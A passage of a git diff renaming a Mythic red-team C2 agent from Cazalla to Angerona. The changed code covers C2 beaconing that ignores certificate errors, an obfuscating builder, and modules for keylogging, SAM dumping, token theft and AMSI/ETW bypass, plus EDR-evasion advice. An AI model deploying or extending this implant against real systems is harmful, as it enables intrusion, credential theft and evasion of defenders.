> 5000) tiempoSleep = 5000; // máximo 5 segundos } - cazallaConfig->tiempoSleep = tiempoSleep; + angeronaConfig->tiempoSleep = tiempoSleep; _dbg("Nuevo tiempoSleep configurado: %u ms", tiempoSleep); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.h b/Payload_Type/angerona/angerona/agent_code/angerona/sleep.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.h rename to Payload_Type/angerona/angerona/agent_code/angerona/sleep.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/socks_manager.c b/Payload_Type/angerona/angerona/agent_code/angerona/socks_manager.c similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/socks_manager.c rename to Payload_Type/angerona/angerona/agent_code/angerona/socks_manager.c diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/socks_manager.h b/Payload_Type/angerona/angerona/agent_code/angerona/socks_manager.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/socks_manager.h rename to Payload_Type/angerona/angerona/agent_code/angerona/socks_manager.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/spawn.c b/Payload_Type/angerona/angerona/agent_code/angerona/spawn.c similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/spawn.c rename to Payload_Type/angerona/angerona/agent_code/angerona/spawn.c diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/spawn.h b/Payload_Type/angerona/angerona/agent_code/angerona/spawn.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/spawn.h rename to Payload_Type/angerona/angerona/agent_code/angerona/spawn.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sqlite3.c b/Payload_Type/angerona/angerona/agent_code/angerona/sqlite3.c similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/sqlite3.c rename to Payload_Type/angerona/angerona/agent_code/angerona/sqlite3.c diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sqlite3.h b/Payload_Type/angerona/angerona/agent_code/angerona/sqlite3.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/sqlite3.h rename to Payload_Type/angerona/angerona/agent_code/angerona/sqlite3.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/tokens.c b/Payload_Type/angerona/angerona/agent_code/angerona/tokens.c similarity index 99% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/tokens.c rename to Payload_Type/angerona/angerona/agent_code/angerona/tokens.c index 6f50fe2..282045a 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/tokens.c +++ b/Payload_Type/angerona/angerona/agent_code/angerona/tokens.c @@ -5,7 +5,7 @@ #include "analizador.h" #include "identity.h" #include "debug.h" -#include "cazalla.h" // For context tracking functions +#include "angerona.h" // For context tracking functions #include #include diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/tokens.h b/Payload_Type/angerona/angerona/agent_code/angerona/tokens.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/tokens.h rename to Payload_Type/angerona/angerona/agent_code/angerona/tokens.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c b/Payload_Type/angerona/angerona/agent_code/angerona/transporte.c similarity index 86% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c rename to Payload_Type/angerona/angerona/agent_code/angerona/transporte.c index f5e6ada..e6f0e82 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c +++ b/Payload_Type/angerona/angerona/agent_code/angerona/transporte.c @@ -50,25 +50,25 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME; LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS; - if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) { + if (angeronaConfig->proxyHabilitado && angeronaConfig->urlProxy) { tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY; - httpProxy = cazallaConfig->urlProxy; + httpProxy = angeronaConfig->urlProxy; } - if (cazallaConfig->SSL) { + if (angeronaConfig->SSL) { httpFlags |= WINHTTP_FLAG_SECURE; } _dbg("WinHttpOpen()"); - hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0); + hSesion = WinHttpOpen(angeronaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0); if (!hSesion) { _err("WinHttpOpen falló (%lu)", GetLastError()); return NULL; } _dbg("WinHttpOpen OK"); - _dbg("WinHttpConnect() host=%ls port=%d", cazallaConfig->hostName, cazallaConfig->puertoHttp); - hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0); + _dbg("WinHttpConnect() host=%ls port=%d", angeronaConfig->hostName, angeronaConfig->puertoHttp); + hConexion = WinHttpConnect(hSesion, angeronaConfig->hostName, angeronaConfig->puertoHttp, 0); if (!hConexion) { _err("WinHttpConnect falló (%lu)", GetLastError()); WinHttpCloseHandle(hSesion); @@ -78,22 +78,22 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { // Log complete URL - ensure endpoint starts with / wchar_t endpointBuf[256]; - if (cazallaConfig->endPoint && cazallaConfig->endPoint[0] != L'/') { - swprintf(endpointBuf, 256, L"/%ls", cazallaConfig->endPoint); + if (angeronaConfig->endPoint && angeronaConfig->endPoint[0] != L'/') { + swprintf(endpointBuf, 256, L"/%ls", angeronaConfig->endPoint); } else { - wcsncpy(endpointBuf, cazallaConfig->endPoint ? cazallaConfig->endPoint : L"", 256); + wcsncpy(endpointBuf, angeronaConfig->endPoint ? angeronaConfig->endPoint : L"", 256); } swprintf(urlBuffer, 512, L"%ls://%ls:%d%ls", - cazallaConfig->SSL ? L"https" : L"http", - cazallaConfig->hostName, - cazallaConfig->puertoHttp, + angeronaConfig->SSL ? L"https" : L"http", + angeronaConfig->hostName, + angeronaConfig->puertoHttp, endpointBuf); _dbg("Complete URL: %ls", urlBuffer); _dbg("WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x", - endpointBuf, cazallaConfig->metodoHttp, httpFlags); - hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags); + endpointBuf, angeronaConfig->metodoHttp, httpFlags); + hPeticion = WinHttpOpenRequest(hConexion, angeronaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags); if (!hPeticion) { _err("WinHttpOpenRequest falló (%lu)", GetLastError()); WinHttpCloseHandle(hConexion); @@ -102,7 +102,7 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { } _dbg("WinHttpOpenRequest OK"); - if (cazallaConfig->SSL) { + if (angeronaConfig->SSL) { _dbg("Configurando opciones SSL"); DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.h b/Payload_Type/angerona/angerona/agent_code/angerona/transporte.h similarity index 88% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.h rename to Payload_Type/angerona/angerona/agent_code/angerona/transporte.h index 2fa2be5..670a160 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.h +++ b/Payload_Type/angerona/angerona/agent_code/angerona/transporte.h @@ -4,7 +4,7 @@ #include #include -#include "cazalla.h" +#include "angerona.h" #include "analizador.h" #include "socks_manager.h" // <— añadido diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c b/Payload_Type/angerona/angerona/agent_code/angerona/utils.c similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c rename to Payload_Type/angerona/angerona/agent_code/angerona/utils.c diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h b/Payload_Type/angerona/angerona/agent_code/angerona/utils.h similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h rename to Payload_Type/angerona/angerona/agent_code/angerona/utils.h diff --git a/Payload_Type/cazalla/cazalla/agent_code/bofs/inline-ea.x64.o b/Payload_Type/angerona/angerona/agent_code/bofs/inline-ea.x64.o similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_code/bofs/inline-ea.x64.o rename to Payload_Type/angerona/angerona/agent_code/bofs/inline-ea.x64.o diff --git a/Payload_Type/cazalla/cazalla/agent_functions/__init__.py b/Payload_Type/angerona/angerona/agent_functions/__init__.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/__init__.py rename to Payload_Type/angerona/angerona/agent_functions/__init__.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/__pycache__/__init__.cpython-311.pyc b/Payload_Type/angerona/angerona/agent_functions/__pycache__/__init__.cpython-311.pyc similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/__pycache__/__init__.cpython-311.pyc rename to Payload_Type/angerona/angerona/agent_functions/__pycache__/__init__.cpython-311.pyc diff --git a/Payload_Type/cazalla/cazalla/agent_functions/__pycache__/inline_execute.cpython-311.pyc b/Payload_Type/angerona/angerona/agent_functions/__pycache__/inline_execute.cpython-311.pyc similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/__pycache__/inline_execute.cpython-311.pyc rename to Payload_Type/angerona/angerona/agent_functions/__pycache__/inline_execute.cpython-311.pyc diff --git a/Payload_Type/cazalla/cazalla/agent_functions/__pycache__/rpfwd.cpython-311.pyc b/Payload_Type/angerona/angerona/agent_functions/__pycache__/rpfwd.cpython-311.pyc similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/__pycache__/rpfwd.cpython-311.pyc rename to Payload_Type/angerona/angerona/agent_functions/__pycache__/rpfwd.cpython-311.pyc diff --git a/Payload_Type/angerona/angerona/agent_functions/angerona.svg b/Payload_Type/angerona/angerona/agent_functions/angerona.svg new file mode 100644 index 0000000..3fc360e --- /dev/null +++ b/Payload_Type/angerona/angerona/agent_functions/angerona.svg @@ -0,0 +1,16 @@ + + + + + + + + + + + + + + + + diff --git a/Payload_Type/angerona/angerona/agent_functions/angerona_dark.svg b/Payload_Type/angerona/angerona/agent_functions/angerona_dark.svg new file mode 100644 index 0000000..0f0ce77 --- /dev/null +++ b/Payload_Type/angerona/angerona/agent_functions/angerona_dark.svg @@ -0,0 +1,16 @@ + + + + + + + + + + + + + + + + diff --git a/Payload_Type/cazalla/cazalla/agent_functions/browser_dump.py b/Payload_Type/angerona/angerona/agent_functions/browser_dump.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/browser_dump.py rename to Payload_Type/angerona/angerona/agent_functions/browser_dump.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/browser_info.py b/Payload_Type/angerona/angerona/agent_functions/browser_info.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/browser_info.py rename to Payload_Type/angerona/angerona/agent_functions/browser_info.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/builder.py b/Payload_Type/angerona/angerona/agent_functions/builder.py similarity index 95% rename from Payload_Type/cazalla/cazalla/agent_functions/builder.py rename to Payload_Type/angerona/angerona/agent_functions/builder.py index c5e86c5..6c98d3c 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/builder.py +++ b/Payload_Type/angerona/angerona/agent_functions/builder.py @@ -15,8 +15,8 @@ def generate_random_string(length=100): chars = string.ascii_letters + string.digits # a-zA-Z0-9 return ''.join(random.choices(chars, k=length)) -class CazallaAgent(PayloadType): - name = "Cazalla" +class AngeronaAgent(PayloadType): + name = "Angerona" file_extension = "exe" author = "OFSTeam" supported_os = [SupportedOS.Windows] @@ -26,7 +26,7 @@ class CazallaAgent(PayloadType): supports_dynamic_loading = True c2_profiles = ["http"] mythic_encrypts = True - translation_container = "cazalla_translator" + translation_container = "angerona_translator" build_parameters = [ BuildParameter( name="output", @@ -57,8 +57,8 @@ class CazallaAgent(PayloadType): default_value="0" ) ] - agent_path = pathlib.Path(".") / "cazalla" - agent_icon_path = agent_path / "agent_functions" / "cazalla.png" + agent_path = pathlib.Path(".") / "angerona" + agent_icon_path = agent_path / "agent_functions" / "angerona.svg" agent_code_path = agent_path / "agent_code" build_steps = [ @@ -261,7 +261,7 @@ class CazallaAgent(PayloadType): debug_output = self.get_parameter("debug_output") ollvm_compilation = int(self.get_parameter("ollvm_compilation")) - config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h" + config_path = f"{agent_build_path.name}/agent_code/angerona/Config.h" # Replace placeholders in Config.h debug_messages.append(f"\n=== CONFIG.H REPLACEMENT ===") @@ -321,11 +321,11 @@ class CazallaAgent(PayloadType): # Determine build target and filename based on output format and debug settings if debug_level == "none": make_target = output_format - output_filename = f"cazalla.{output_format}" + output_filename = f"angerona.{output_format}" make_flags = "" else: make_target = f"debug_{output_format}" - output_filename = f"cazalla-debug.{output_format}" + output_filename = f"angerona-debug.{output_format}" # Pass debug level and output type to Makefile # The Makefile will convert string values to numbers make_flags = f"DEBUG_LEVEL={debug_level} DEBUG_OUTPUT={debug_output}" @@ -334,8 +334,8 @@ class CazallaAgent(PayloadType): if command_flags_str: make_flags = f"{make_flags} COMMAND_FLAGS='{command_flags_str}'" if make_flags else f"COMMAND_FLAGS='{command_flags_str}'" - command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target} {make_flags}" - filename = f"{agent_build_path.name}/agent_code/cazalla/build/{output_filename}" + command = f"make -C {agent_build_path.name}/agent_code/angerona {make_target} {make_flags}" + filename = f"{agent_build_path.name}/agent_code/angerona/build/{output_filename}" proc = await asyncio.create_subprocess_shell( command, @@ -367,7 +367,7 @@ class CazallaAgent(PayloadType): await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( PayloadUUID=self.uuid, StepName="Compiling", - StepStdout=f"Successfully compiled cazalla{debug_info}\nCommand: {command}\nTarget: {make_target}\nFlags: {make_flags}\nOutput: {output_filename}\nMD5: {md5_hash}\nSHA256: {sha256_hash}", + StepStdout=f"Successfully compiled angerona{debug_info}\nCommand: {command}\nTarget: {make_target}\nFlags: {make_flags}\nOutput: {output_filename}\nMD5: {md5_hash}\nSHA256: {sha256_hash}", StepSuccess=True )) @@ -411,8 +411,8 @@ class CazallaAgent(PayloadType): {obfuscation_parameters} \ -L/usr/lib/gcc/x86_64-w64-mingw32/13-posix \ --sysroot=/usr/x86_64-w64-mingw32 \ - /tmp/cazalla/*.c \ - -o /tmp/cazalla/cazalla.exe \ + /tmp/angerona/*.c \ + -o /tmp/angerona/angerona.exe \ -lntdll -lgdi32 -lws2_32 -lcrypt32 -liphlpapi -lshlwapi -lole32 -luser32 -ladvapi32 \ -lncrypt -lbcrypt -lversion -lnetapi32 -lwinhttp " @@ -420,7 +420,7 @@ class CazallaAgent(PayloadType): create_container_command = [ "docker", "run", "--name", f"{container_name}", - "--volume", f"{docker_volume_folder}:/tmp/cazalla/", + "--volume", f"{docker_volume_folder}:/tmp/angerona/", "ollvm16-builder:latest", "sh", "-c" ,compilation_command ] @@ -434,7 +434,7 @@ class CazallaAgent(PayloadType): try: # Move agent_build_path.name to docker_volume_folder - copy_tree(f"{agent_build_path.name}/agent_code/cazalla", docker_volume_folder) + copy_tree(f"{agent_build_path.name}/agent_code/angerona", docker_volume_folder) # Create Docker Container result = subprocess.run(create_container_command, capture_output=True, text=True, check=True) @@ -451,13 +451,13 @@ class CazallaAgent(PayloadType): return resp # Get the output from the Docker Container - resp.payload = open(f"{docker_volume_folder}/cazalla.exe", "rb").read() + resp.payload = open(f"{docker_volume_folder}/angerona.exe", "rb").read() resp.build_message = "Successfully built!" await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( PayloadUUID=self.uuid, StepName="Compiling", - StepStdout=f"Successfully built cazalla.exe", + StepStdout=f"Successfully built angerona.exe", StepSuccess=True )) diff --git a/Payload_Type/cazalla/cazalla/agent_functions/cat.py b/Payload_Type/angerona/angerona/agent_functions/cat.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/cat.py rename to Payload_Type/angerona/angerona/agent_functions/cat.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/cd.py b/Payload_Type/angerona/angerona/agent_functions/cd.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/cd.py rename to Payload_Type/angerona/angerona/agent_functions/cd.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/cp.py b/Payload_Type/angerona/angerona/agent_functions/cp.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/cp.py rename to Payload_Type/angerona/angerona/agent_functions/cp.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/download.py b/Payload_Type/angerona/angerona/agent_functions/download.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/download.py rename to Payload_Type/angerona/angerona/agent_functions/download.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/exit.py b/Payload_Type/angerona/angerona/agent_functions/exit.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/exit.py rename to Payload_Type/angerona/angerona/agent_functions/exit.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py b/Payload_Type/angerona/angerona/agent_functions/inline_execute.py similarity index 99% rename from Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py rename to Payload_Type/angerona/angerona/agent_functions/inline_execute.py index d896e7b..6278171 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py +++ b/Payload_Type/angerona/angerona/agent_functions/inline_execute.py @@ -246,7 +246,7 @@ class InlineExecuteCommand(CommandBase): help_cmd = "inline_execute -BOF [COFF.o] [-Arguments [optional arguments]]" description = "Execute a Beacon Object File in the current process thread. (e.g., inline_execute -BOF listmods.x64.o -Arguments int32:1234) \n [!!WARNING!! Incorrect argument types can crash the Agent process.]" version = 1 - author = "@c0rnbread (adapted for Cazalla)" + author = "@c0rnbread (adapted for Angerona)" attackmapping = [] argument_class = InlineExecuteArguments completion_functions = {"coff_completion_callback": coff_completion_callback} diff --git a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py b/Payload_Type/angerona/angerona/agent_functions/inline_execute_assembly.py similarity index 99% rename from Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py rename to Payload_Type/angerona/angerona/agent_functions/inline_execute_assembly.py index 19a7a39..cc0c386 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py +++ b/Payload_Type/angerona/angerona/agent_functions/inline_execute_assembly.py @@ -259,7 +259,7 @@ class InlineExecuteAssemblyCommand(CommandBase): help_cmd = "inline_execute_assembly -Assembly [file] [-Arguments [assembly args] [--patchexit] [--amsi] [--etw]]" description = "Execute a .NET Assembly in the current process using @EricEsquivel's BOF \"Inline-EA\" (e.g., inline_execute_assembly -Assembly SharpUp.exe -Arguments \"audit\" --patchexit --amsi --etw)" version = 1 - author = "@c0rnbread (adapted for Cazalla)" + author = "@c0rnbread (adapted for Angerona)" script_only = True attackmapping = [] argument_class = InlineExecuteAssemblyArguments diff --git a/Payload_Type/cazalla/cazalla/agent_functions/keylog_start.py b/Payload_Type/angerona/angerona/agent_functions/keylog_start.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/keylog_start.py rename to Payload_Type/angerona/angerona/agent_functions/keylog_start.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/keylog_stop.py b/Payload_Type/angerona/angerona/agent_functions/keylog_stop.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/keylog_stop.py rename to Payload_Type/angerona/angerona/agent_functions/keylog_stop.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/kill.py b/Payload_Type/angerona/angerona/agent_functions/kill.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/kill.py rename to Payload_Type/angerona/angerona/agent_functions/kill.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/list_tokens.py b/Payload_Type/angerona/angerona/agent_functions/list_tokens.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/list_tokens.py rename to Payload_Type/angerona/angerona/agent_functions/list_tokens.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/ls.py b/Payload_Type/angerona/angerona/agent_functions/ls.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/ls.py rename to Payload_Type/angerona/angerona/agent_functions/ls.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/make_token.py b/Payload_Type/angerona/angerona/agent_functions/make_token.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/make_token.py rename to Payload_Type/angerona/angerona/agent_functions/make_token.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/mkdir.py b/Payload_Type/angerona/angerona/agent_functions/mkdir.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/mkdir.py rename to Payload_Type/angerona/angerona/agent_functions/mkdir.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/ps.py b/Payload_Type/angerona/angerona/agent_functions/ps.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/ps.py rename to Payload_Type/angerona/angerona/agent_functions/ps.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/pwd.py b/Payload_Type/angerona/angerona/agent_functions/pwd.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/pwd.py rename to Payload_Type/angerona/angerona/agent_functions/pwd.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/rev2self.py b/Payload_Type/angerona/angerona/agent_functions/rev2self.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/rev2self.py rename to Payload_Type/angerona/angerona/agent_functions/rev2self.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/rm.py b/Payload_Type/angerona/angerona/agent_functions/rm.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/rm.py rename to Payload_Type/angerona/angerona/agent_functions/rm.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/rpfwd.py b/Payload_Type/angerona/angerona/agent_functions/rpfwd.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/rpfwd.py rename to Payload_Type/angerona/angerona/agent_functions/rpfwd.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/samdump.py b/Payload_Type/angerona/angerona/agent_functions/samdump.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/samdump.py rename to Payload_Type/angerona/angerona/agent_functions/samdump.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/screenshot.py b/Payload_Type/angerona/angerona/agent_functions/screenshot.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/screenshot.py rename to Payload_Type/angerona/angerona/agent_functions/screenshot.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/shell.py b/Payload_Type/angerona/angerona/agent_functions/shell.py similarity index 93% rename from Payload_Type/cazalla/cazalla/agent_functions/shell.py rename to Payload_Type/angerona/angerona/agent_functions/shell.py index 792a5b5..6b83b4d 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/shell.py +++ b/Payload_Type/angerona/angerona/agent_functions/shell.py @@ -30,7 +30,7 @@ class ShellCommand(CommandBase): cmd = "shell" needs_admin = False help_cmd = "shell " - description = "Execute arbitrary shell commands on the target system by spawning cmd.exe. The command is executed in a non-interactive shell and the output is captured and returned. HIGH OPSEC RISK: This command spawns cmd.exe which is heavily monitored by EDR/XDR solutions. Command execution and command-line arguments are logged by security tools. Consider using built-in Cazalla commands (ps, ls, cat, etc.) instead when possible, as they provide better OPSEC. Always requires approval from another operator before execution." + description = "Execute arbitrary shell commands on the target system by spawning cmd.exe. The command is executed in a non-interactive shell and the output is captured and returned. HIGH OPSEC RISK: This command spawns cmd.exe which is heavily monitored by EDR/XDR solutions. Command execution and command-line arguments are logged by security tools. Consider using built-in Angerona commands (ps, ls, cat, etc.) instead when possible, as they provide better OPSEC. Always requires approval from another operator before execution." version = 1 author = "Kaseya OFSTeam" attackmapping = ["T1059"] @@ -80,7 +80,7 @@ class ShellCommand(CommandBase): message += f" • {warning}\n" message += "\n" - message += "Consider using built-in Cazalla commands instead:\n" + message += "Consider using built-in Angerona commands instead:\n" message += " • Use 'ps' instead of 'tasklist'\n" message += " • Use 'ls' instead of 'dir'\n" message += " • Use 'cat' instead of 'type'\n" diff --git a/Payload_Type/cazalla/cazalla/agent_functions/sleep.py b/Payload_Type/angerona/angerona/agent_functions/sleep.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/sleep.py rename to Payload_Type/angerona/angerona/agent_functions/sleep.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/socks.py b/Payload_Type/angerona/angerona/agent_functions/socks.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/socks.py rename to Payload_Type/angerona/angerona/agent_functions/socks.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/steal_token.py b/Payload_Type/angerona/angerona/agent_functions/steal_token.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/steal_token.py rename to Payload_Type/angerona/angerona/agent_functions/steal_token.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/upload.py b/Payload_Type/angerona/angerona/agent_functions/upload.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/upload.py rename to Payload_Type/angerona/angerona/agent_functions/upload.py diff --git a/Payload_Type/cazalla/cazalla/agent_functions/whoami.py b/Payload_Type/angerona/angerona/agent_functions/whoami.py similarity index 100% rename from Payload_Type/cazalla/cazalla/agent_functions/whoami.py rename to Payload_Type/angerona/angerona/agent_functions/whoami.py diff --git a/Payload_Type/cazalla/cazalla/browser_scripts/ls.js b/Payload_Type/angerona/angerona/browser_scripts/ls.js similarity index 100% rename from Payload_Type/cazalla/cazalla/browser_scripts/ls.js rename to Payload_Type/angerona/angerona/browser_scripts/ls.js diff --git a/Payload_Type/cazalla/cazalla/browser_scripts/ps.js b/Payload_Type/angerona/angerona/browser_scripts/ps.js similarity index 100% rename from Payload_Type/cazalla/cazalla/browser_scripts/ps.js rename to Payload_Type/angerona/angerona/browser_scripts/ps.js diff --git a/Payload_Type/cazalla/logger/README.md b/Payload_Type/angerona/logger/README.md similarity index 76% rename from Payload_Type/cazalla/logger/README.md rename to Payload_Type/angerona/logger/README.md index cbf1da0..8960779 100644 --- a/Payload_Type/cazalla/logger/README.md +++ b/Payload_Type/angerona/logger/README.md @@ -1,12 +1,12 @@ -# 📊 Cazalla Logging Container +# 📊 Angerona Logging Container -Complete logging system for the Cazalla agent that records all Mythic events and sends them to a central syslog server. +Complete logging system for the Angerona agent that records all Mythic events and sends them to a central syslog server. ## 📋 Description This logging container follows the official Mythic pattern for logging containers. It automatically subscribes to all Mythic events and logs them to: -1. **Local files**: One file per day at `/tmp/cazalla_mythic_YYYY-MM-DD.log` (inside the container) +1. **Local files**: One file per day at `/tmp/angerona_mythic_YYYY-MM-DD.log` (inside the container) 2. **Central syslog**: Sends all events to a configured rsyslog server (RFC 3164) **Advantages:** @@ -27,14 +27,14 @@ This logging container follows the official Mythic pattern for logging container │ ▼ ┌─────────────────┐ -│ CazallaLogger │ +│ AngeronaLogger │ │ (Logging │ │ Container) │ └──────┬──────────┘ │ - ├──► Local file (/tmp/cazalla_mythic_YYYY-MM-DD.log) + ├──► Local file (/tmp/angerona_mythic_YYYY-MM-DD.log) │ - └──► Syslog Server (rsyslog) ──► /var/log/cazalla.log + └──► Syslog Server (rsyslog) ──► /var/log/angerona.log ``` ## ⚙️ Configuration @@ -45,7 +45,7 @@ The logger reads configuration from a file inside the container. **You don't nee 1. **Edit the configuration file:** ```bash - nano Payload_Type/cazalla/logger/syslog.conf + nano Payload_Type/angerona/logger/syslog.conf ``` 2. **Configure your values:** @@ -64,8 +64,8 @@ The logger reads configuration from a file inside the container. **You don't nee 3. **Rebuild and restart the container:** ```bash cd /opt/mythic - sudo ./mythic-cli build cazalla - sudo ./mythic-cli restart cazalla + sudo ./mythic-cli build angerona + sudo ./mythic-cli restart angerona ``` ### Method 2: Environment Variables (Alternative) @@ -87,12 +87,12 @@ If you want to receive logs on the Debian host where Mythic runs: sudo sed -i 's/#input(type="imudp" port="514")/input(type="imudp" port="514")/' /etc/rsyslog.conf ``` -3. **Create rule for Cazalla** in `/etc/rsyslog.d/50-cazalla.conf`: +3. **Create rule for Angerona** in `/etc/rsyslog.d/50-angerona.conf`: ```bash - sudo bash -c 'cat > /etc/rsyslog.d/50-cazalla.conf << EOF - # Logs from Cazalla Mythic agent + sudo bash -c 'cat > /etc/rsyslog.d/50-angerona.conf << EOF + # Logs from Angerona Mythic agent # Filter by facility LOCAL0 (16) - if \$syslogfacility-text == "local0" then /var/log/cazalla.log + if \$syslogfacility-text == "local0" then /var/log/angerona.log & stop EOF ' @@ -154,12 +154,12 @@ Logs are saved in structured JSON format: Messages are sent to syslog in RFC 3164 format with complete JSON: ``` -<134>Nov 17 15:18:23 cazalla cazalla: {"event_type": "TASK", "timestamp": "...", ...} +<134>Nov 17 15:18:23 angerona angerona: {"event_type": "TASK", "timestamp": "...", ...} ``` - **Priority**: Calculated based on facility (16 = LOCAL0) + severity - **Severity**: INFO (6) for most, WARNING (4) for artifacts -- **Tag**: `cazalla` +- **Tag**: `angerona` - **Message**: Complete JSON of the event ## 🔍 Verification @@ -168,44 +168,44 @@ Messages are sent to syslog in RFC 3164 format with complete JSON: ```bash # View container logs -sudo docker logs cazalla | grep -i "syslog\|Logger initialized" +sudo docker logs angerona | grep -i "syslog\|Logger initialized" # You should see: -# INFO:cazalla_logger:Syslog client 